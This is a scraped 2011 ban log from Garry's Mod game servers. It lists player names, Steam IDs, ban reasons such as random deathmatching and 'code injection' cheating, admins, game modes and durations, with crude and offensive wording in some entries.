STEAM_0:0:16551150 RDM, mic spam, etc ++[SP]+ Suicidal Shampoo Bottle Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 7:0:0 Unbanned +5:43 am 30-07-11 dogthebountyhunter STEAM_0:1:32803221 RDMing +bastard +[SP]+ Suicidal Shampoo Bottle Fretta|Tigergruppe Kommand +Trouble in Terrorist Town Permanent Banned +8:24 pm 29-07-11 Forsaken Kitteh STEAM_0:0:21704689 Prop pushing +RDM Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +8:06 pm 29-07-11 t.i.mmalo STEAM_0:1:15694178 +[SP]+ Nekoace +Killa's Zombie Survival Server Zombie Survival Permanent Banned +7:01 pm 29-07-11 Bisu STEAM_0:0:19255097 Banned Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:00 pm 29-07-11 Crazy Monkey :) STEAM_0:1:13743755 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:56 pm 29-07-11 Unknown STEAM_0:1:39488144 Trying to avoid ban +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:38 pm 29-07-11 Unknown STEAM_0:0:11949030 RDM then leaving +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +12:17 am 29-07-11 Jake STEAM_0:0:17616774 traitor rdm Moaby +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:50 Unbanned +10:17 pm 28-07-11 Unknown STEAM_0:0:4649132 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Gamemaster Permanent Banned +6:22 pm 28-07-11 GhostFTW STEAM_0:0:34422355 +[SP]+ Nekoace Killa's +Zombie Survival Server Zombie Survival 0:0:15 Unbanned +5:02 pm 28-07-11 -=CG=- Pedo Bear the Easter Egg STEAM_0:1:8050776 i +don't like your beatboxing shite Moaby Fretta|Tigergruppe Kommand +Deathrun 0:0:1 Unbanned +4:26 pm 28-07-11 Light x Demon STEAM_0:0:16545878 Ban Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:37 pm 28-07-11 British Intelligence STEAM_0:0:29261323 Nice work +insulting me Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +3:21 pm 28-07-11 [L4G] quintosh M.D. STEAM_0:1:36224190 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +12:20 pm 28-07-11 Unknown STEAM_0:1:28785924 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:49 am 28-07-11 [RSS] 1st LT. Le CanadianKing STEAM_0:1:3238054 +Cunt Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:20 pm 27-07-11 KILL WHITEY STEAM_0:0:27182115 Advertising +SethHack +[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +2:14 pm 27-07-11 Cutie STEAM_0:1:18960389 Banning myself for a bit +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:35 am 27-07-11 Bandza STEAM_0:0:22987110 play nice next time +Moaby Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:40 +Unbanned +12:25 am 27-07-11 SlayerS_Boxer STEAM_0:0:19255097 prop prushing till +death Moaby Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:40 Unbanned +12:25 am 27-07-11 Penguin_of_doom_xD STEAM_0:1:13743755 prop prushing +till death Moaby Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:40 Unbanned +4:23 pm 26-07-11 Unknown STEAM_0:0:37989029 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:59 am 25-07-11 Ghost Recon STEAM_0:0:7291342 Rdm, Changing names, +Ignoring admin, Being a dicksuck +[SP]+ Hellknite Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 3:20:35 Unbanned +3:54 am 25-07-11 Conco â?º STEAM_0:1:5282288 Mass Rdm +[SP]+ +Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +10:45 pm 24-07-11 Unknown STEAM_0:1:38535515 +[SP]+ Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +9:52 pm 24-07-11 ECT | Mooncalf STEAM_0:1:18174935 Rejoing to prevent +punishment +[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:10:0 Unbanned +7:31 pm 24-07-11 Unknown STEAM_0:1:27043140 real rdm +[SP]+ Suicidal +Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 +Unbanned +5:44 pm 24-07-11 +[SP]+ Suicidal Robot STEAM_0:0:6608332 oops +[SP]+ +Suicidal Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +4:24 pm 24-07-11 Renox STEAM_0:1:4381186 Alt of banned ID +STEAM_0:0:11971623 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 7:14:50 Unbanned +3:54 pm 24-07-11 Bon'Scott STEAM_0:0:11971623 Propkilling, RDM ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 7:15:20 Unbanned +1:18 pm 24-07-11 Tervakeuhko STEAM_0:1:29150297 Ban LOL Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +12:17 am 24-07-11 Unknown STEAM_0:1:22042305 Ass clown BAN HAMMER! +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +10:08 pm 23-07-11 Atomic Filth STEAM_0:1:27845913 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +4:25 pm 23-07-11 Unknown STEAM_0:0:5253668 Cutie Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:0:0 Unbanned +1:26 am 23-07-11 ZÃ?D STEAM_0:0:23763478 Alt of banned ID +STEAM_0:1:23746338 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +12:54 am 23-07-11 XpΩwN` ¤ǺÅ?Ä?ЯÄ?ħỴ¤ STEAM_0:1:28865609 nice +one dipshit FIST OF THE NORTH ****** Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:0:0 Unbanned +12:31 am 23-07-11 Toast STEAM_0:1:26349869 Obvious revenge RDM +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +8:31 pm 22-07-11 NOM I EAT CHEEZ BURGERS! STEAM_0:1:35052122 Fuck off +- Unbanned (Oops wrong person) (Console) Fretta|Tigergruppe Kommand +Deathrun Permanent Unbanned +3:45 pm 22-07-11 -=[BUFF]=- Cpt.Brandon STEAM_0:1:20975390 Then why +are you here? Cutie Fretta|Tigergruppe Kommand Prop Hunt 1:0:0 +Unbanned +1:08 am 22-07-11 Ã?oone STEAM_0:1:25544941 PENIS IN UR ASS :D +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:04 pm 21-07-11 Usoundjellybro STEAM_0:1:16585983 Your banned you +can ' t : ) Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +10:52 pm 21-07-11 Helms Ceeko STEAM_0:1:41915535 no +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +7:41 pm 21-07-11 Unknown STEAM_0:1:10972966 Raging, Ignoring Rules, +Minor Admin Disrespect and Revenge RDM +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:6 Unbanned +7:22 pm 21-07-11 Disturbed STEAM_0:0:11859704 I kill people who don't +move +[SP]+ Suicidal Robot Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +11:27 am 21-07-11 Unknown STEAM_0:1:30139620 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand M3 Permanent Banned +9:16 pm 20-07-11 i_love_kenny STEAM_0:1:13743755 Obvious RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:4:0 Unbanned +12:47 pm 20-07-11 CS | Luke - STEAM_0:1:11268198 No now you are +banned for calling me a bitch : ) Cutie Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:0:0 Unbanned +10:36 pm 19-07-11 Ù¸eBaã?? STEAM_0:1:27401146 RDM +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +10:13 pm 19-07-11 Xtcent STEAM_0:0:15969810 for the lulz, have this +ban for pushing people off while being innocent, and of course them +being even more innocent. AND IGNORING ADMIN, LOL +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +9:39 pm 19-07-11 Unknown STEAM_0:1:13254889 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:23 pm 19-07-11 Z-Hog STEAM_0:1:20229698 really now fuckwit... RDM ++[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:33 pm 19-07-11 DyaSlayer STEAM_0:0:41512995 Perma Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Unbanned +3:43 am 19-07-11 (DBF)Temeraire STEAM_0:1:22042305 same with you ++[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:16:40 Unbanned +3:43 am 19-07-11 hanskov STEAM_0:0:25623268 saves me doing it later ++[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:16:40 Unbanned +9:51 pm 18-07-11 Mathiaas M STEAM_0:1:22403123 RDM, Ignoring Admin ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 8:8:0 Unbanned +3:17 pm 18-07-11 -[]Special Agent[]- Ribbs - STEAM_0:1:4381186 Alt of +banned ID STEAM_0:0:11971623 (Console) Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:1:36 Unbanned +3:13 pm 18-07-11 (DBF)Temeraire STEAM_0:1:22042305 Stop Rejoining ++[SP]+ Grim Jam Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:1 Unbanned +2:55 pm 18-07-11 Unknown STEAM_0:1:11183998 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:54 pm 18-07-11 -[]Special Agent[]- Mcgoo - STEAM_0:0:11971623 : 3 ++[SP]+ Grim Jam Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:2:0 Unbanned +11:25 am 18-07-11 Unknown STEAM_0:0:13585332 Sexually abused by their +uncle (http://stonedpotatoes.com/viewtopic.php?f=20&p=25701) +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:24 am 18-07-11 Unknown STEAM_0:0:35950056 Sexually abused by their +uncle (http://stonedpotatoes.com/viewtopic.php?f=20&p=25701) +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:08 am 18-07-11 Unknown STEAM_0:0:18159008 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:07 am 18-07-11 Unknown STEAM_0:1:28372989 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +10:48 pm 17-07-11 seriousSissel STEAM_0:0:24788990 RDM and Lying to +admin +[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:5:0 Unbanned +5:45 pm 17-07-11 Candyman STEAM_0:0:20252315 propkilling +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:4:0 Unbanned +5:15 pm 17-07-11 G_Hecker STEAM_0:1:29392297 +[SP]+ Nekoace Killa's +Zombie Survival Server Zombie Survival 6:22:40 Unbanned +11:45 am 17-07-11 googl STEAM_0:1:42156947 Another perma iCute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:45 am 17-07-11 blackdrag STEAM_0:1:41039946 Another perma iCute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:44 am 17-07-11 Etna STEAM_0:0:14933923 Banned for being a cock +iCute Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:43 am 17-07-11 Unknown STEAM_0:0:25130870 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:42 am 17-07-11 Unknown STEAM_0:1:20513516 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:42 am 17-07-11 SpoR :D STEAM_0:0:29327508 RDM Ban iCute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:00 pm 16-07-11 CTXXTC STEAM_0:1:28696604 RDM iCute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +5:16 pm 16-07-11 (DBF)Temeraire STEAM_0:1:22042305 Next time don ' t +RDM an admin iCute Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:10 Unbanned +5:38 pm 15-07-11 00razorjake00 STEAM_0:0:11175979 so be it iCute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:00 pm 14-07-11 Heil Hitler STEAM_0:1:18967422 Missing a testical ++[SP]+ MAD MANN Fretta|Tigergruppe Kommand Snifer 4:20:40 Unbanned +9:03 pm 14-07-11 Storm STEAM_0:1:36927998 Alt of banned ID +STEAM_0:1:42476821 (Console) Fretta|Tigergruppe Kommand Laser Dance +41:15:52 Unbanned +8:59 pm 14-07-11 Everybody STEAM_0:1:22172556 Get out +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Snifer 4:4:0 Unbanned +8:58 pm 14-07-11 Lx STEAM_0:0:24516644 Get out +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Snifer 4:4:0 Unbanned +8:57 pm 14-07-11 Mr.StuckShot STEAM_0:1:31623921 Get out +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Snifer 2:2:0 Unbanned +8:56 pm 14-07-11 Aura STEAM_0:1:42476821 Get out +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Snifer 41:16:0 Unbanned +8:08 pm 14-07-11 VÑ?Ñ?мιllιÏ?иâ?¢ STEAM_0:0:29190428 RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +62:12:0 Unbanned +7:23 pm 14-07-11 My Face STEAM_0:0:29261323 Ban lolol iCute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:52 pm 14-07-11 gungarooo STEAM_0:1:42419288 Mass-RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:4:0 Unbanned +5:38 pm 14-07-11 hunterl4d STEAM_0:0:39075387 RDM +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +5:30 pm 14-07-11 Unknown STEAM_0:0:28176726 Ghosting +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:29 pm 14-07-11 Unknown STEAM_0:0:41663619 Ghosting +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:48 pm 14-07-11 Conco STEAM_0:1:5282288 RDM +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:4:0 Unbanned +3:59 pm 14-07-11 Unknown STEAM_0:0:37730160 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +3:59 pm 14-07-11 Unknown STEAM_0:0:13498644 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:53 pm 13-07-11 Hammerhead Eagle i-Thrust STEAM_0:1:23449602 And +now you are banned instead. iCute Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 1:0:0 Unbanned +11:30 pm 13-07-11 FeaR STEAM_0:0:7291342 shhh +[SP]+ MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:20 Unbanned +10:55 pm 13-07-11 Heil Hitler STEAM_0:1:18967422 TK iCute +Fretta|Tigergruppe Kommand Snifer 0:1:0 Unbanned +10:55 pm 13-07-11 Conco STEAM_0:1:5282288 TK iCute +Fretta|Tigergruppe Kommand Snifer 0:1:0 Unbanned +4:47 pm 13-07-11 Hank Hill STEAM_0:1:42496810 Alt of banned ID +STEAM_0:0:37767195 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +2:08 pm 13-07-11 redliner13 STEAM_0:0:38108535 Nice RDM on an admin +iCute Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +10:21 am 13-07-11 Unknown STEAM_0:0:29005501 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand GarryWare Permanent Banned +1:52 am 13-07-11 Gordon Faggmon STEAM_0:0:42100618 Alt of banned ID +STEAM_0:1:42088029 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +9:37 pm 12-07-11 Flapadar STEAM_0:0:10839552 Testing ban system +Flapadar Killa's Zombie Survival Server Zombie Survival Permanent +Unbanned +9:22 pm 12-07-11 Pineman STEAM_0:0:25160443 Sexism iCute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:34 pm 12-07-11 Unknown STEAM_0:0:19803935 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:32 pm 12-07-11 Unknown STEAM_0:1:32073049 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:48 am 12-07-11 Unknown STEAM_0:0:17104852 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Gamemaster Permanent Banned +12:23 am 12-07-11 triggerhappy STEAM_0:0:35029968 RDM banned. +iCute Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:27 pm 11-07-11 Me STEAM_0:1:33817695 Change your name Sway +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 Unbanned +8:01 pm 11-07-11 Wonktnod STEAM_0:0:16771999 RDM +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:10:0 Unbanned +7:49 pm 11-07-11 joppu STEAM_0:1:15718875 RDM +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:10:20 Unbanned +7:33 pm 11-07-11 Unknown STEAM_0:1:32364563 RDM -> Disconnect +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:27 pm 11-07-11 Unknown STEAM_0:1:14352118 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:26 pm 11-07-11 Unknown STEAM_0:1:11726504 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:26 pm 11-07-11 Unknown STEAM_0:0:19622107 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:59 pm 11-07-11 Unknown STEAM_0:1:5388189 Errrmm your ment to be +banned. atl of STEAM_0:0:27176193 +[SP]+ MAD MANN Fretta|Tigergruppe +Kommand Trouble in Terrorist Town Permanent Banned +4:37 pm 11-07-11 Unknown STEAM_0:1:5388189 nice Rmd there +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 +Unbanned +10:46 pm 10-07-11 Unknown STEAM_0:1:15607614 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:36 pm 10-07-11 eradri AMG STEAM_0:1:18343753 RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:10:0 Unbanned +5:29 pm 10-07-11 Einar STEAM_0:1:32677329 RDM +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:4:0 Unbanned +5:29 pm 10-07-11 Kristján STEAM_0:0:26967689 RDM +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:4:0 Unbanned +5:02 pm 10-07-11 Tehan STEAM_0:1:5955725 RDM, Ignoring Admin +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:15:0 Unbanned +1:17 am 10-07-11 Unknown STEAM_0:1:22994448 ghosting? +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:20:40 +Unbanned +1:17 am 10-07-11 Unknown STEAM_0:0:42316556 ghosting? +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:20:40 +Unbanned +8:58 pm 09-07-11 hundefiaiufbruseog STEAM_0:0:38860934 RDM Sway +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:24 pm 09-07-11 Widowmaker STEAM_0:1:23319227 PUI: Playing under +influence Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:10:0 Unbanned +6:37 pm 09-07-11 Ohhhhhhhhh STEAM_0:1:42084534 Alt of banned ID +STEAM_0:1:42088029 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +6:31 pm 09-07-11 Mcean Oan STEAM_0:0:42096898 Alt of banned ID +STEAM_0:1:42088029 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +11:57 am 09-07-11 PiZza PappaZ VEnZ STEAM_0:0:39945102 RDM +[SP]+ +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +8:14 am 09-07-11 Unknown STEAM_0:1:42088029 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Dogfight: Arcade Assault +Permanent Banned +7:16 pm 08-07-11 Pepsi or Coke STEAM_0:0:37767195 Creeper; Do not +unban +[SP]+ Grim Jam Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +6:18 pm 08-07-11 A TROLL THAT LIKES ORANGE POO : STEAM_0:1:20438276 +perma Kiwii Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:23 pm 08-07-11 Just Gamer STEAM_0:0:29219559 RDM, Get out Johnny +Jordan Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:42 am 08-07-11 Unknown STEAM_0:1:38677580 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Ultimate Hide And Seek 2.0 +Permanent Banned +8:42 am 08-07-11 Unknown STEAM_0:1:1816051 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Ultimate Hide And Seek 2.0 +Permanent Banned +10:41 pm 07-07-11 icarusfoundyou STEAM_0:1:8404080 stfu dickface ++[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:5:0 Unbanned +10:41 pm 07-07-11 Dr Boring STEAM_0:0:29261323 stfu for fucksake ++[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:5:0 Unbanned +4:18 pm 07-07-11 ^9Baun STEAM_0:1:40069966 Alt of banned ID +STEAM_0:1:40711412 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +3:29 pm 07-07-11 Unknown STEAM_0:0:20564249 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:28 pm 07-07-11 Unknown STEAM_0:1:15292404 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:28 pm 07-07-11 Unknown STEAM_0:0:18167133 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:05 pm 07-07-11 Derks STEAM_0:0:10714286 Fuck off +[SP]+ Grim Jam +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:40 Unbanned +11:12 pm 06-07-11 +[SP]+FOOD STEAM_0:1:22975189 Using SP Tag without +permission, Ignoring Admin even after being warned. +[SP]+ Bloodcore +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Unbanned +8:20 pm 06-07-11 Flapadar STEAM_0:0:10839552 Test Flapadar +Fretta|Tigergruppe Kommand GarryWare 0:0:1 Unbanned +6:16 pm 06-07-11 {>BW<}à¹?à¹?Û£Û? DEEP FÑ?IED M@ STEAM_0:1:9622670 +Alt of banned ID STEAM_0:1:9622670 (Console) Fretta|Tigergruppe +Kommand Trouble in Terrorist Town Permanent Banned +4:13 pm 06-07-11 Unknown STEAM_0:0:17488508 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Gamemaster Permanent Banned +4:13 pm 06-07-11 Unknown STEAM_0:1:6183216 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Gamemaster Permanent Banned +4:12 pm 06-07-11 Unknown STEAM_0:1:10908429 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Gamemaster Permanent Banned +4:12 pm 06-07-11 Unknown STEAM_0:1:6076942 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Gamemaster Permanent Banned +4:11 pm 06-07-11 Unknown STEAM_0:0:41331055 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Gamemaster Permanent Banned +11:50 pm 05-07-11 Koruyo STEAM_0:0:5879889 Kiwii Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:1:0 Unbanned +5:44 pm 05-07-11 Stephan Meijer [NL] STEAM_0:0:30049961 Penis penis +penis +[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:20 Unbanned +4:26 pm 05-07-11 spYke STEAM_0:1:30291930 Kiwii Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:0:0 Unbanned +4:14 pm 05-07-11 SilverSpeed {TSB} STEAM_0:1:24114067 RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:10:0 Unbanned +4:00 pm 05-07-11 Vekkuza STEAM_0:1:9154165 ME SO MAD I BANNED YOU +Kiwii Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +3:24 pm 05-07-11 Unknown STEAM_0:1:32073049 Mass-RDM as detective ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 8:8:0 Unbanned +11:16 pm 04-07-11 Killer Bee No Sound STEAM_0:0:66502 RDM, Disconnect +to prevent punishment +[SP]+ Bloodcore Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 41:16:0 Unbanned +11:03 pm 04-07-11 Unknown STEAM_0:0:16862630 Mass-RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:08 pm 03-07-11 [Aft]aizenfuckinpowers STEAM_0:0:24064507 This is +for your lack of penis Kiwii Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +9:28 pm 03-07-11 Spanish Chan STEAM_0:1:24060332 lol +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 5:0:0 Unbanned +3:39 pm 03-07-11 -Frank- Pretzels<33 STEAM_0:0:39178528 Killed Hat +then said he didnt and it was obvious rdm. +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +2:07 pm 03-07-11 â??ICSâ?? Ypho STEAM_0:1:15766156 Multiple rdm ++[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +1:06 am 03-07-11 Olltring Da Silenta STEAM_0:0:20470605 A fool ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 694:10:39 Banned +9:26 pm 02-07-11 Unknown STEAM_0:1:35921874 c4 RDM +[SP]+ Suicidal +Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 +Unbanned +7:07 pm 02-07-11 XpΩwN` ¤ǺÅ?Ä?ЯÄ?ħỴ¤ STEAM_0:1:28865609 Big +C4 RDM +[SP]+ Suicidal Robot Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +12:41 pm 02-07-11 Unknown STEAM_0:0:18447426 RDM, leaving without +explanation. Basically ignoring admin and RDMing. +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 60:0:0 Unbanned +12:38 pm 02-07-11 DyaSlayer STEAM_0:0:41512995 RDM with retarded +reason. +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Unbanned +10:42 pm 01-07-11 TMC | Hat STEAM_0:0:22843745 Insert Reason Here ++[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:1 Unbanned +10:33 pm 01-07-11 +[SP]+ Marked One [SK] STEAM_0:1:22013742 You too +you little shit : D +[SP]+ Hellknite Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:0:1 Unbanned +10:32 pm 01-07-11 TMC | Hat STEAM_0:0:22843745 Insert Reason Here ++[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:1 Unbanned +8:59 pm 01-07-11 Unknown STEAM_0:1:32531347 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:57 pm 01-07-11 Blue Man STEAM_0:0:42096326 Cheat: Sorry if the +world has been taken over by antilions. (Console) 